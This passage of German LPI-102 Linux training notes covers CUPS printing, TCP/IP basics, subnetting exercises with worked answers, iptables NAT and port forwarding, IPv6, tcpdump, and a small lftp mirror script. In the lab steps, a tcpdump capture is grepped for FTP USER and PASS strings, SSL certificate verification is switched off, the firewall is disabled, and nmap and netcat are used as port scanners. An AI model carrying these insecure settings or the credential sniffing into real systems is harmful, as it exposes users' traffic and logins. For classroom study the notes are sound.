		==> Weiterleitung zu Secure-HTTP (https), das selbstsignierte Zertifikat, das
		    jetzt ausgelifert wird ist noch gegenzuprüfen:

	       Ausgabe des Fingerabruckes allgemein:

			openssl x509 -fingerprint -noout -in <ZERTIFIKAT>


		Beim CentOS-Druckserver wird erst in diesem Moment das CUPS-Zertifikat erzeugt, vorher war der Ordner "/etc/cups/ssl" leer!

		Jetzt aber lässt sich der Fingerabrduck auf die Server erzeugen:

			openssl x509 -fingerprint -noout -in /etc/cups/ssl/server.crt

			(Am besten ausdrucken und dem Client zur Verfügung stellen, damit er den
			in seinem Webbrowser angezeigten Zertifikatsfingerabdruck prüfen kann: es muss die selbe Zeichenkette wie die eben von "openssl"
			ausgegebene sein!)



=== Druckclients einrichten

**Unter Linux:**

a) Einfache Client-Konfigration (auf Debian)

	* Es muss kein CUPS-Daemon installiert sein/laufen, wir brauchen lediglich das Paket
		"cups-client".
	* Angabe des CUPS-Servers in der Datei 'client.conf' (eine Art "Zeiger"):

		cat /etc/cups/client.conf

		ServerName 172.16.0.2

	* Unmittelbar danach kann die Erreichbarkeit mit `lpq` oder `lpstat -t` getestet werden

	* Drucken kann man z.B. so: `pr -o 7 /etc/hosts | lp -d Brother-HL2250`

Hierbei wird die komplette Aufbereitung der Druckjobs auf dem entfernten Druckserver gemacht. Das kann bei geringer Rechenleistung evl. länger dauern! Deswegen ist es manchmal besser, die Aufbereitung lokal durchzuführen:

b) Client-Konfigration mit CUPS-Daemon

	* Neuen Drucker im Web-UI- einrichten
	* URI mitgeben (= der "Zeiger"): http://172.16.0.2:631/ipp/
	* Passenden Treiber wählen (Wichtig wegen der lokalen Aufbereitung!)
	* Namen vergeben, speichern...


**Unter Windows:**

Angabe einer URL im Druckerdialog wie: http://172.16.0.2:631/printers/Brother-HL2250


=== Fragen/Aufgaben zur Wiederholung und Vertiefung

. Wie heißt die Haupt-Konfigurationsdatei von CUPS (volle Pfadangabe)?

	/etc/cups/cupsd.conf

. Wie heißt die Drucker-Konfigurationsdatei von CUPS (volle Pfadangabe)?

	/etc/cups/printers.conf

. Wie heißt die Client-Konfigurationsdatei von CUPS, in der Sie einen entfernten Server spezifizieren können (volle Pfadangabe)?

	/etc/cups/client.conf


== Topic 109.1: Fundamentals of internet protocols


=== Einführung TCP/IP


Ein guter Überblick zur Geschichte:  http://www.michaelkaul.de/Geschichte/zakon/zakon.html

Eine gute Darstellung der Schichtenmodelle: http://tcp-ip-info.de/glossar/glossar_t.htm

Kurzbeschreibung der einzelnen Schichten:

	* Layer 7: Beschreibung der Anwendungen (E-Mail, WWW -> HTTP (zustandslos), FTP)
	* Layer 6: Darstellung der Daten, so dass alle Teilnehmer sie verstehen können,
		   Verschlüsselung (SSL)
	* Layer 5: Kommunikation steuern (VoIP: Sitzung aufbauen, durchführen und abbauen)
	* Layer 4: Datenströme etablieren -> i.d.R. via TCP, (Datenverluste ausgleichen),
	           Portnummern definieren
	* Layer 3: Logische Adressierung (IP-Adresse), Wegefindung [Datagramm]
	* Layer 2: Phyische Adressierung  (MAC-Adresse), Flusskontrolle [Datenpaket: Frame]
	* Layer 1: Beschreibung der Übertragungsmedieneigenschaften [keine Datenpakete, Bitstrom]


Auf OSI Schichten 1 und 2 rangiert die Standardvernetzungstechnologie "Ethernet", wichtige Merkmale:

	* Definition eines Zugriffsverfahrens CSMA/CD für Shared Media
	* Mittels Media Access Controll-Adressen (MAC = 48 bit lang) lassen sich Netzwerkknoten adressieren
	* Es wird immer Bustopologie verwendet (Heute: Logisch Bus, physisch Stern -> Switch)
	* Datenpaketorientierter Transport (Ethernet-Frame) -> MTU-Wert: 1500 Byte +
		+
	Kommandos:
	* Ausgabe des ARP-Caches: `arp -an`
	* ARP-Cache löschen: `ip neigh flush all`

=== Portnummern

**Lernstoff für LPI 102:** Portnummern (Layer 4) gemäß Definition in der '/etc/services' +
	+

	* E-Mail-Kommunikation:  25 (SMTP), 110 (POP3), 143 (IMAP)
	* WWW: 80 (HTTP), 443 (HTTPS) [Standard-Transportprotokoll ist dabei TCP]
	* DNS-Namensauflösung: 53 (Domain) [Standard-Transportprotokoll ist dabei UDP]
	* Network Time Protocol 123 (NTP) [Standard-Transportprotokoll ist dabei UDP]
	* ...


Daneben gibt es noch eine Datei, die die Protokollnummern definiert: `/etc/protocols`, z.B. ein Eintrag für das Internet Protocol lautet: "ipv4  4  IPv4"

=== IP-Adressierung und Routing

Filmempfehlung "Warriors of the Net" (Youtube, dt. Übersetzung)

IP-Protokollversionen:

	* IPv4: Adresslänge = 32 bit
	* IPv6: Adresslänge = 128 bit

**Das Adressierungsschema von IPv4:**

	* Max. Adressenzahl ein unaufgeteilten einzigen Netzwerk: 2^32 ~ 4 Mrd  Hosts
	* Unterteilung schafft Unternetze, Adressklassen:
		** Class A: 2²⁴ = 16777216 - 2 = 16777214 adressierbare Hosts pro Netzwerk +
			(2⁷ = 128 - 2 [Ausnahmsweise nur bei Class A: "- 2" !!] = 126 Netzwerke)


==== Hilfstabelle für Umrechnung Dezimal / Dual

**Achtung:** Die Dezimal-Skala ist um -1 verschoben, da ungerade Zahlen nur im Zusammenhang
mit 2⁰ = 1 machbar sind! +
	+
_Am Schluss das Ganze Kummulieren => => => => =>_
|=============================================
|128 | 192 | 224 | 240 | 248 | 252 | 254 | 255
|128 | 64  | 32  | 16  | 8   | 4   | 2   | 1
|2⁷  | 2⁶  | 2⁵  | 2⁴  | 2³  | 2²  | 2¹  | 2⁰
|=============================================

_<= <= <= <= <= Stellenwert wird in dieser Richtung größer._






=== Fragen/Aufgaben zur Wiederholung und Vertiefung

. Studieren Sie die Tabellen auf  http://www.elektronik-kompendium.de/sites/net/0811271.htm bezüglich der 5 Adressklassen und der 3 privaten Bereiche in Class A-, B- und C-Netzwerken.

Weitere gute Adressen:

	* http://www.edv-lehrgang.de/adressklassen-in-netzwerken/
	* http://userpages.uni-koblenz.de/~pidde/lupe/ipaddr.html
	* http://www.itwissen.info/definition/lexikon/Internet-protocol-IP-IP-Protokoll.html

. Nennen Sie die beiden Dateien, die sich mit der Benennung von Protokoll- und Port-Nummern befassen.

	a) /etc/protocols
	b) /etc/services

. Welche TCP-Portnummern verwenden die Daemons von Telnet, IMAP, HTTPS, Samba, ssh und NTP?

	* Telnet: 23
	* HTTP: 80
	* HTTPS: 443
	* IMAP: 143
	* Samba: 135-139, 445
	* ssh: 22
	* NTP: 123

. Wie können Sie sich den ARP-Cache auf einer Maschine ausgeben lassen, wobei keine Namensauflösung durchgeführt werden soll?

	* Kommando `arp -an`

. Fügen Sie dem Skript 'ftpmirror' einen weiteren Case-Zweig namens _up-delete_ hinzu, der den `lftp`-Schalter `--delete` für das Uploaden verwendet, um die Daten auf dem Server zu löschen, die nicht auf der sendenden Seite (also lokal) existieren.

Der Gesamtinhalt des Skriptes:

----
#!/bin/bash
#
# ftpmirror

host="lpic1.example.test"

download(){
  lftp -e 'mirror --verbose /HandOuts/PemmannAxel/LPI-102 /home/tux/LPI-102; by' $host
}

upload(){
  lftp -e 'mirror --verbose --reverse /home/tux/Upload /HandOuts/Kursteilnehmer/pemmann; by' $host
}

upload-delete(){
  lftp -e 'mirror --verbose --reverse --delete /home/tux/Upload /HandOuts/Kursteilnehmer/pemmann; by' $host
}

ping -c 1 $host > /dev/null 2>&1
if [ $? -ne 0 ]
	then
	    echo "NETZWERKFEHLER: Host $host nicht erreichbar."
	else
	  case "$1" in
	    down)
			download ;;
	    up)
			upload ;;
	    up-delete)
			upload-delete ;;
	    *)
		echo "Aufruf: $0 {down|up|up-delete}" ;;
	  esac
fi
----

=== NAT unter Debian einrichten

Voraussetzung:

	* Netzwerkkarte 1 (eth0): <IP-Adresse im LAN>  (per DHCP via Bridge)
	* Netzwerkkarte 2 (eth1): 172.16.0.1  (statisch gesetzt, im internen Netz "intnet")

Aktivieren von IP-Forwarding (Datenpakete zwischen den NICs weiterleiten)

	* Temporär zur Laufzeit:

		a) echo 1 > /proc/sys/net/ipv4/ip_forward

		b) sysctl -w net.ipv4.ip_forward=1

	* Dauerhaft machen:

		vi /etc/sysctl.conf

			net.ipv4.ip_forward=1     ## Zeile 28 aktivieren

Akivieren von Network Address Transaltion:

	* Zur Laufzeit (Wichtig ist hierbei die Angabe des Outgoing-Interfaces mit '-o', oft
	  'ppp0', hier: 'eth0')

		iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

		-> Im einfachsten Fall dauerhaft machen, indem man diese Zeile in die Datei

			/etc/rc.local

		VOR dem 'exit 0' schreibt.


	* Kontrolle:

		iptables -t nat -vnL


Konfiguration/Testings auf CentOS:

	* Ping zu 172.16.0.1 (= Standard-Gateway)

	* STD-GW setzen:  'route add default gw 172.16.0.1'

	* STD-GW fest eintragen: 'vi /etc/sysconfig/network' -> _GATEWAY=172.16.0.1_

	* Ping zu 8.8.8.8, und zu ix.de (wenn letzteres nicht funktioniert,
	  die '/etc/resolv.conf' bearbeiten: _nameserver 194.25.2.129_)

	* IP-Adressen wurden bereits konfiguriert:

		/etc/sysconfig/network-scripts/ifcfg-eth0
		/etc/sysconfig/network-scripts/ifcfg-eth1

	* Netzwerk neu starten:

		/etc/init.d/network stop
		/etc/init.d/network start

	* Secure Shell Zugang aktivieren und nutzen

		** Wird der sshd automatisch gestartet?

			- Bis Cent0S 6.5: chkconfig
			- Ab CentOS 7.0:

				systemctl -a | grep ssh

		   Alternativ:  systemctl --state=active --type=service | grep ssh

		** Firewall vorerst deaktivieren:

			- Bis Cent0S 6.5:

				service firewalld stop
				service --status-all     (zur Kontrolle)
				chkconfig firewalld off

			- Ab CentOS 7.0:

				[service firewalld stop]
				systemctl stop firewalld
				systemctl disable firewalld


			- Kontrolle:

				iptables -vnL [-t nat]

		** SSH benutzen

			- Von Debian aus: 'ssh tux@192.168.0.2'

	* Weitere Software installieren

		yum install nmap lynx gpm

		service gpm start  (Maus-Unterstützung für die virtuelle Konsole starten)



=== Weitere Aufgaben zur Wiederholung

. Installieren Sie auf Debian den FTP-Client 'lftp', erstellen Sie danach eine Konfigurationsdatei in Ihrem normalen Benutzeraccount:

	/bin/su -
	apt-get update
	apt-get install lftp
	exit

	mkdir ~/lftp
	echo 'set ssl:verify-certificate no' > ~/.lftp/rc
	echo 'set ftp:ssl-allow no'  >> ~/.lftp/rc

Prüfen Sie den Inhalt der Datei _~/.netrc_, sie beinhaltet die automatisch übergebenen Logindaten für den FTP-Server unseres Kurses.

Legen Sie ein Verzeichnis für die zu spiegelnden Daten an:

	mkdir ~/LPI-102

Testen Sie, ob Sie mit der folgenden Zeile alle Dokumente aus dem entfernten FTP-Verzeichnis _/HandOuts/PemmannAxel/LPI-102_ in Ihr lokales Verzeichnis _/home/tux/LPI-102_ herunterladen können. Setzen Sie dabei anstelle von "tux" Ihren Benutzernamen ein.

----
lftp -e 'mirror --verbose /HandOuts/PemmannAxel/LPI-102 /home/tux/LPI-102; by' lpic1.example.test
----

Schreiben Sie abschließend diese Zeile in ein Shellskript, das Sie später komfortabel ausführen können. Dokumentieren Sie darin die Namen und den Inhalt der beiden Konfigrationsdateien.

Inhalt der Datei ~/.netrc

----
machine lpic1.example.test
login myUsername
password myPassword
----



=== Internet Protocol version 6



Die Adresslänge wurde von 32 bit auf 128 erhöht. Der Grund: Adressknappheit (vor allem in Asien).

In der Regel wird Hexadezimlschreibweise verwendet, Doppelpunkte unterteilen 8 Abschnitte zu je 16 bit.


Weitere Eigenschaften:

	* DHCP kann nativ mittels built-in Funktionen genutzt werden (Solicitations und 	    Advertisements) oder mit einem separaten DHCPv6-Server
	* Broadcasts wurden abgelöst, anstelle dessen werden Multicasts verwendet ("ein Hallo an 		    alle Router" oder ein "Bitte konfiguriere mich" an alle Hosts)
	* Unterschiedlich große Bereiche von Unicast-Adressen:
		- Link-Local (nur auf eine bestimmte Schnittstelle gültig) -> Option: `-I <IF>` +
			+
		     Beispiel:  `ping6 -I eth0  fe80::70ce:3d8:d8ad:27b9`

		- Unique-Local (nur im physischen Netzsegment gültig), keine Routerfindung,
			Beispieladresse: fc00::/7
		- Globale-Unicast (Weltweite Nutzung), Beispieladresse: 2a02:2e0:3fe:1001:302:: 		  zur Domain six.heise.de  +
  				+
		  Beispiel zum mitmachen (Debian): `ip addr add 1234::1/64 dev eth0` +
			-> `ping6 -c2 1234::2` +
		  Beispiel zum mitmachen (CentOS): `ip addr add 1234::2/64 dev eth1`
			-> `ping6 -c2 1234::1`

	* Header: Kleiner, schlanker und flexibler als bei IPv4 (-> schnellere Netze),           		  fester, kleinerer MTU-Wert: 1280 Byte
	* Mobilität bei wechselnden IP-Adressen in verschiedensten Intranets: nach wie vor umständlich via Home-Agent
	* Unterstützung von IPsec (= geplante Standard-VPN-Lösung) ist da, muss aber genauso 		  manuell implementiert werden wie bei IPv4
	* Dual-Stack-Betrieb (IPv4 gleichzeitig mit IPv6): Das neue IPv6 hat Vorrang, d.h. 		  zuerst wird versucht, den angfragten Host per IPv6 aufzulösen, nach kurzem Timeout 		  dann per IPv4

Aus Performance und Sicherheitsgründen kann es u.U. besser sein IPv6 zu deaktivieren, siehe https://www.thomas-krenn.com/de/wiki/IPv6_deaktivieren


=== Erweiterung Netzwerk

**Ziel:** Der Debian-Router soll eingehende Anfragen an Port 222 an den im isolierten Netz laufenden CentOS-Rechner zu seinem Standard-Port 22 weiterleiten (Port-Forwarding).


Wichtige Informationen in Voraussetzung:

	* Wie lautet die eingehende Schnittstelle von Debian (putty.exe -> LAN-Bridge ->  eth0)
	* Wie lautet die IP-Adresse auf eben dieser Schnittstelle? (-> 10.23.18.109)
	* Zu welcher IP-Adresse soll weitergeleitet werden? (CentOS -> 172.16.0.2)
	* Wie lauten die zu mappenden Portnummern? (222 -> 22)


Die Kommandozeile lautet in diesem Fall:

  iptables -t nat -A PREROUTING -i eth0 -d 10.23.18.109 -p tcp --dport 222 -j DNAT   --to-destination 172.16.0.2:22


Dauerhaft machen der Einstellung: Datei '/etc/rc.local' ergänzen.


=== Paketanalyse mit tcpdump

Beipiele:

	* tcpdump -i eth0
	* tcpdump -i eth0 host 10.23.10.100
	* tcpdump -i eth0 host 10.23.10.100 and not port 22
	* tcpdump -i eth0 host 10.23.10.100 and not port 22 -A
	* tcpdump -i eth0 host lpic1.example.test -w ftp.dump
		** grep -a USER  ftp.dump   (->  f009cec1)
		** grep -a PASS  ftp.dump   (->  pFLN...)
	* tcpdump -i eth0 host \(10.23.10.100 or 10.23.18.1 \)


=== Fragen/Aufgaben zur Wiederholung und Vertiefung

. Ein Netzwerk beschreibt sich mit 192.168.4.0 und der Netzmaske 255.255.255.0. Es sollen durch Subnetting mindestens 5 Rechner in
jedem der zu bildenden separaten Teilnetzen aufgestellt werden können, diese Anzahl soll aber nicht mehr als nötig erhöht werden.
Wie lautet die neue Netzwerkmaske in CIDR- und Dezimalschreibweise?

   -->  Es müssen 3 Host-Bits auf 0 bleiben,
           also: 2^3 -2 = 6 verwendbare  Adressen

Maskenberechnung:

  11111111.11111111.11111111.00000000

      Move /24  to /29

  11111111.11111111.11111111.11111000

Umrechnug in dezimale Schreibweise:

   11111  =  2^7 + 2^6 + 2^5 + 2^4 + 2^3 = 248


. Ein Host hat die Adresse 192.168.55.64/24. Es sollen 4 Unternetze geschaffen werden. Kann er die Adresse nach dem Einrichten weiter verwenden? Wie heißt die neue Subnetmaske?

 2 ^ 2 = 4 Subnetze

--> 2 Bits von der Host-ID geborgt

            also 2^7 + 2^6 = 128 + 64 =192

Die neue Maske lautet: /26 oder 255.255.255.192


Die einzelnen Subnetzbereiche:

    Netz: 0 bis 63
    Netz: 64 bis 127       <=== Rechner befindet sich nun in II. Subnet
    Netz: 128 bis 191
    Netz: 192 bis 255

Diese Adresse kann nicht mehr verwendet werden, da es sich um die Netzwerk-ID (Alle Host-Bits auf 0 gesetzt) im 2. Unternetz handelt.


. In einem großen Netzwerk befindet sich ein Rechner, der mit der IP-Adresse 10.0.0.200 und der Netzwerkmaske 255.0.0.0 konfiguriert wurde.

Um Probleme mit zu hohem Broadcast-Verkehr in den Griff zu bekommen, beabsichtigt man nun das Netzwerk, in dem auch dieser Computer
steht, mittels Subnetting in kleinere, handlichere Teilnetze zu untergliedern.
Die Bedingung ist aber, dass nach Umstellung der Netzwerkmaskeneinstellungen, die auf allen beteiligten Maschinen durchgeführt werden
muss, noch ca. 100 Maschinen pro Subnetz betrieben werden können.

   a) Wie lautet die neue Netzmaske?

Zu a) Wir borgen uns 17 Bits vom Host-Anteil, wobei 7 Bits für die Hosts übrig bleiben müssen:

 Maske vorher:    11111111.00000000.00000000.00000000
 Maske nachher:   11111111.11111111.11111111.10000000
 (2 ^ 7 = 128 - 2 = 126 Hosts pro Subnetz)

 Die neue Netzwerkmaske lautet /25 oder 255.255.255.128.


b) In welchem Teilnetz befindet sich danach dieser Rechner?

  Der  Rechner mit der IP-Adresse 10.0.0.200 und der neuen  Netzwerkmaske 255.255.255.128 befindet sich im 2. Subnetz.

c) Wie viele Teilnetze gibt es nach Anpassung der Netzwerkmaskeneinstellungen?


   Die 17 geborgten Bits stellen die Subnetz-ID dar, aus der die Anzahl der Unternetze berechnet werden kann:

   2 ^ 17 = 131072 Unternetze.


. In einer Firma gibt es das Netzwerk 192.168.0.0/24. Es soll durch Unternetzbildung besser an die innerbetrieblichen
Strukturen (kleine Arbeitsgruppen) angepasst werden. Es muss allerdings sichergestellt sein, dass mindestens 12 Rechner
in jedem dieser Unternetze aufgestellt werden können.

   a) Wie lautet die neue Subnetmask in CIDR- und Dezimalschreibweise?
   b) Wie viele Unternetze gibt es?
   c) Wie lautet die Adresse des 4. Hosts im 3. Unternetz?


=== Aufgabe Bash Scripting

Modifizieren Sie das aktuelle Skript 'ftpmirror' so, dass Sie ihm als weiteren Übergabeparameter einen Verzeichnisnamen mitgeben können, der anstelle des fest eingetragenen Zielordners '/home/USER/LPI-102' benutzt werden soll.

Können in dem Zusammenhang die Simple-Ticks bei den lftp-Befehlen beibehalten werden  (Variablenexpansion)?

Da in der Funktion die Postitionsparametervariable "$2" nicht direkt genutzt werden kann, wird
eine Hilfsvariable _zielpfad_ erzeugt, in die der aktuelle Übergabewert gespeichert wird:

----
zielpfad="$2"

download(){
  lftp -e "mirror --verbose /HandOuts/PemmannAxel/LPI-102 $zielpfad; by" $host
}
----

Die komplette Umsetzung ist in Datei 'ftpmirror-0.6' zu finden.


== Topic 109.2: Basic network configuration

ZIEL: Konfiguration von Clients, Reihenfolge der Namensauflösung

=== Host- und Netzwerknamen ausgeben und ändern

Informationen generieren:

	* hostname [--fqdn|-f]
	* domainname [-d] [-f] [-I]
	* uname [-a] [-n]

Hostnamen ändern:

Bei den meisten Distributionen müssen nur zwei Dateien bearbeitet werden:

	* /etc/hostname (manchmal: /etc/HOSTNAME) -> Definition des Hostnamens (Debian: Ohne 											Domainname)
	* /etc/hosts  (meist wird der FQDN der Adresse 127.0.1.1 zugeordnet)

Zusätzlich kann auch einer Netzwerk-ID wie 172.16.0.0 ein Name zugeordnet werden:

	* /etc/networks

		intnet 172.16.0.0
		intnet2 192.168.99.0

=== Reihenfolge der Namensauflösung

Die Konfiguration wird in zwei Dateien vorgenommen: +
						+
	a) Bis libc5:  '/etc/host.conf'		+
						+
		_multi on_			+
		_order: hosts, bind_   		+
						+
	b) Ab libc6: '/etc/nsswitch.conf'	+
						+
		_hosts: files dns_

Der Ablauf beim Erfragen von IP-Adressen beginnt i.d.R. in der lokalen Datei '/etc/hosts', wenn
diese Datei keine Antwort geben kann, wird über den in der '/etc/resolv.conf' festgelegten Nameserver ein DNS-Query angestoßen.

Die Angabe der zu verwendenden Nameserver und weitere Dinge wie den anzuhängenden Domainnamen oder die Suchreihenfolge in mehreren DNS-Suffixen geschieht hier:

	* /etc/resolv.conf

		nameserver 127.0.0.1
		nameserver 194.25.2.129
		nameserver 8.8.8.8
		domain test.site

		## Alternativ zu "domain":

		search de at ch

		("domain" und "search" können nicht parallel verwendet werden)

=== Schnittellen Live-Konfiguration

Kommandos zum direkten Bearbeiten OHNE Benutzung von Konfigdateien:

	* ifconfig
	* route

**Beispiele zu 'ifconfig'**

	* Alle Schnittstellen zeigen, auch deaktiviere: `ifconfig -a`
	* Schnittstelle deaktivieren: `ifconfig eth1 down`
	* Bei `ifconfig` taucht sie nun nicht mehr auf, daher `ifconfig -a` verwenden!
	* Schnittstelle wieder aktivieren: `ifconfig eth1 up`
	* Schnittstelle wieder deaktivieren: `ifconfig eth1 down`
	* Eine andere Adresse setzen:	+
		`ifconfig eth1 209.14.5.88/26 [up]`   +
		Dabei wird die Schnittstelle automatisch aktiviert, das Wörtchen 'up' kann 			weggelassen werden.
	* IP-Alias setzen (eine Art Unterschnittstelle mit separatem Namen):

		ifconfig eth0:0 10.22.33.44/24

		ifconfig eth0:0

	   => Einsatzmöglichkeit: IP-basierte virtuelle Hosts (Webserver Apache)

**Beispiele zu 'route'**

	* Standgateway setzen: `route add default gw 10.22.33.1`
	* Standardgateway löschen: `route del default`
	* Route ins LAN setzen (auf CentOS in Richtung Win7-Host):

		 route add -net 10.23.18.0 netmask 255.255.255.0 gw 172.16.0.1


Praktische Umsetzung (Tipp: Standardgateways für mehr Durchblick löschen):

	* Auf CentOS: `route del default`
	* Auf CentOS: `route add -net 10.23.18.0 netmask 255.255.255.0 gw 172.16.0.1`
	* Auf dem Debian-Router: `iptables -t nat -F`
		(Debian ist nur noch ein reiner Router, NAT ist deaktiviert) +
									     +
		Auch hier kann das Standardgateway entfernt werden: `route del default`
 					+
					+
	        HINWEIS: Nach wie vor wichtig:  `cat /proc/sys/net/ipv4/ip_forward`   ### -> 1
	* Auf dem Windows-Hostsystem: `route add 172.16.0.0 mask 255.255.255.252 10.23.18.109`
	* Testings von beiden Seiten aus sollte jetzt gehen:

		- Von CentOS aus: `ping -c3 10.23.18.100`
		- Von Windows aus: `ping -n 3 172.16.0.2`

Siehe auch Snapshot "routing-übung-(transparent).png"



=== Schnittellen Non-Live Konfiguration

Hatten wir eben ohne Rücksicht auf Konfigdateien Schnittstellen bearbeitet, lesen die beiden folgenden Kommandos dagegen die jeweiligen Dateien (z.B. '/etc/network/interface') aus:

	* Deaktivierung einer Schnittstelle (z.B. auf DHCP-Lease angeben): `ifdown eth1`
	* Aktivierung einer Schnittstelle: `ifup eth1`



=== Fragen/Aufgaben zur Wiederholung und Vertiefung

. Ihr Chef kommt zu Ihnen mit einem IP-Adressbereich für Ihre neue Tochter Firma Brot AG:
182.73.x.x , er möchte das Sie für folgende Gegebenheiten das Subnetting durchführen.
Es werden 42 getrennte Netzte benötigt, in denen zwischen 4 und 600 Rechner genutzt
werden können. Wie lautet die dafür erforderliche Netzwerkmaske? (Nach http://www.2was.de/nw/subnetting.pdf)


Die Adresse stammt aus einem Class B-Netz

----
	Maske: 11111111.11111111.00000000.00000000

	Fragestellung:
	Wieviele Bits müssen für 42 Unternetze geborgt werden?

	2^x = 42 Subnetze
	x = 6 Bits müssen mindestens geborgt werden

	Maske: 11111111.11111111.11111100.00000000

	Fragestellung:
	Reichen die 10 verbleibenden Host-Bits aus?

	2 ^ 10 = 1024 -2 = 1022

	Ja, diese Hostanzahl ist ausreichend.

	Die Maske /22 (Dez: 255.255.252.0) kann dementsprechend verwendet werden
----

. Sie übernehmen die Stelle eines in Rente gegangenen Administrators und sind dabei, den Serverbestand zu dokumentieren und die
Konfiguration zu optimieren. +
Es gibt drei Hauptserver, die mit der selben Subnetzmaske 255.255.255.224 konfiguriert sind, aber in unterschiedlichen Subnetzen stehen. +
Sie überlegen nun, sie gemeinsam in dem Netzwerk 192.168.0.0/255.255.255.224 unterzubringen. +
Könnten sich dann die drei Server in diesem Netzwerk untereinander erreichen, wenn die IP-Konfiguration der drei Server unverändert
übernommen werden soll? +
+
Die drei Server haben folgende Adressen:

----
  Broadcast   .31      000 11111
  Netzwerk    .32      001 00000

  .. 192.168.0.33      001 00001
  .. 192.168.0.66      010 00010
  .. 192.168.0.99      011 00011

  Maske für /27 ->   111 00000

	Umrechnung Dezimal -> CIDR: Im IV. Oktett die Zahl 224 zerlegen:

		128 + 64 + 32 = 224, also sind drei Bits geborgt worden -> /27

    Fragestellung: Wo liegen die Grenzen der Unternetze?
    Dazu ist wichtig zu wissen -> Anzahl der Adressen pro Subnet -> 2 ^ 5 = 32


	1. Teilnetz: 192.168.0.0 - 192.168.0.31
	2. Teilnetz: 192.168.0.32 - 192.168.0.63
	3. Teilnetz: 192.168.0.64 - 192.168.0.95
	4. Teilnetz: 192.168.0.96 - 192.168.0.127
	5. Teilnetz: ...
----

=> Nein, sie sind NICHT im selben Netzwerk!

. Worin unterscheiden sich die Kommandos `ifconfig` und `ifup` (bzw `ifdown`)?

    * Im Gegensatz zu `ifconfig` schalten die anderen beiden gemäß Konfigurations-Dateien die NICs ein und aus.

. Wie lauten die 5 wichtigen Dateinamen, die die Reihenfolge der Namensauflösung konfigurieren und letztendlich zur
Ermittung einer IP-Adresse für einen angefragten Hostnamen führen? Lassen Sie sich deren Dateiinhalt jeweils zur Kontrolle ausgeben.

	* /etc/host.conf	(Reihenfolge, alt)
	* /etc/nsswitch.conf	(Reihenfolge, neu -> Name Service Switch)
	* /etc/networks		(Netzwerknamen statisch zuordnen)
	* /etc/hosts		(Hostnamen statisch zuordnen)
	* /etc/resolv.conf	(Angabe von Nameserver und Domainnamen/-Suffixen)

Weitere Dateien im Zusammenhang mit Hostnamen und Namens-Auflösung

    /etc/hostname	(Definiert den Hostnamen)
    /etc/services	(Auflösung von Dienstenamen zu Port-Nummern)
    /etc/protocols	(Auflösung von Protokollnamen zu Protokoll-Nummern)

. Modifizieren Sie die letzte Version des Skriptes `ftpmirror` dahingehend, dass es beim Downloaden überprüft, ob der Benutzer
tatsächlich zwei Positionsparameter angegeben hat. Geben Sie ansonsten eine Hilfestellung aus.


Hilfestellung: Die Variable, die die Anzahl der Positionsparameter speichert: `$#`


.Codeschnipsel für Standalone-Test:

----
if [ $# -eq 2 ]
	then echo "Alles OK, das waren $# Paramter."

        else echo "PROBLEM: Es sind keine oder nicht die richtige Anzahl an Positionsparametern angegeben worden!"
fi
----

.Codeschnipsel für das Skript, in den "down)"-Case-Zweig einzubauen:

----
if [ $# -eq 2 ]
       then download
       else echo "Bitte als zweiten Parameter das Zielverzeichnis angeben."
fi
----

== Topic 109.3: Basic network troubleshooting

Typischerweise nutzt der Admin eine Reihe von Werkzeugen:

	* ping (mit "-p" können Klartext-Pattern gesendet werden: `ping -p deadbeaf host`)
	* traceroute/tracepath
	* netstat (Optionen: `-i` / `-r` / `-tulpen`, `-M` oder `--masquerade`, Broadcast-Services werden nicht unterstützt)
	* lsof (Optionen: `-iTCP -P`)
	* nmap (Optionen: `-p 22,23,135-139,445,9100` / `-P0` / `-A -T4`), Ziele können auch Netzwerke sein: 10.0.0.0/24
	* netcat als Portscanner: `nc  -zv  172.16.0.2  20-25`
	* Namensauflösung:
		** nslookup
		** host (MX-Record abfragen:  `host -t mx gmx.de`)
		** dig, ein paar wichtige Optionen:
			- Einen anderen Nameserver angeben: `@8.8.8.8`
			- Einen Record-Typ angeben, z.B.: `-t mx` oder `-t MX`, oder einfach nur `mx` oder `MX` (z.B. `dig lpi.org MX`)
			- Ausgabe in reduzierter Kurzform: `+short`

	* ARP-Protokoll: `arp -an` / `ip neigh flush all`


=== Erweiterung der Übungsumgebung

**Aufgabe 1:**

Verändern Sie die Subnetgröße im isolierten _intnet_, so dass mindestens (aber auch nicht mehr als nötig) 20 Hosts adressierbar sind.

----
=> Anzahl der Hosts?  2^x=20 ???

 2 ^ 4 = 16 - 2 = 14   (= zu wenig!)

 2 ^ 5 = 32 - 2 = 30   (= OK)

 00000000  => 00011111     /24  =>  /27

 Dez.: 255.255.255.224
----

a) Nach dem Bearbeiten der Datei sieht die Konfiguration auf Debian so aus:

----
	grep -B2  255.255.255.224 /etc/network/interfaces
		iface eth1 inet static
		address 172.16.0.1
		netmask 255.255.255.224

	### Nicht vergessen:  `service networking restart`
----

b) Nach dem Bearbeiten der Datei sieht die Konfiguration auf CentOS 7 so aus:

----
	cat /etc/sysconfig/network-scripts/ifcfg-nic0
		BOOTPROTO="none"
		ONBOOT="yes"
		IPADDR="172.16.0.2"
		PREFIX="27"
		# Für sicheres 2-Teilnehmer-Netz:
		#PREFIX="30"
		DEVICE="enp0s3"

	### Nicht vergessen:  `service network restart`
----

**Aufgabe 2:**

Installieren Sie auf dem Debian-Router das Paket "dnsmasq" und machen Sie sich auf https://wiki.debianforum.de/WLAN-Access-Point_mit_hostapd_und_USB-Stick schlau, wie dieser kleine DHCP/DNS-Server z.B. für den Raspberry Pi eingerichtet werden könnte.

	* Installation:  `apt-get update && apt-get -y install dnsmasq`
	* Was ist das?  `whatis dnsmasq` +
		dnsmasq (8)          - A lightweight DHCP and caching DNS server.

	* Welche Configs gibt es? `dpkg -L dnsmasq` -> /etc/dnsmasq.conf
	* Welche man-Pages gibt es dazu? `apropos dnsmasq` -> nur _dnsmasq_

**Aufgabe 3:**

Konfiguren Sie den DNSMASQ-Server passend für Ihr Netzwerk; es sollen anfragenden DHCP-Clients Adressen im Bereich von 172.16.0.20 bis 172.16.0.30 zugewiesen werden.

----
	mv /etc/dnsmasq.conf /etc/dnsmasq.conf.orig

	echo 'interface=eth1' > /etc/dnsmasq.conf
	echo 'no-dhcp-interface=eth0' >> /etc/dnsmasq.conf
	echo 'dhcp-range=interface:eth1,172.16.0.20,172.16.0.30,infinite' >> /etc/dnsmasq.conf
----

Wie läuft die DNS-Namensauflösung jetzt ab?

----
	Ausgangspunkt: `grep dns  /etc/network/interfaces`
					dns-nameservers  8.8.8.8
----

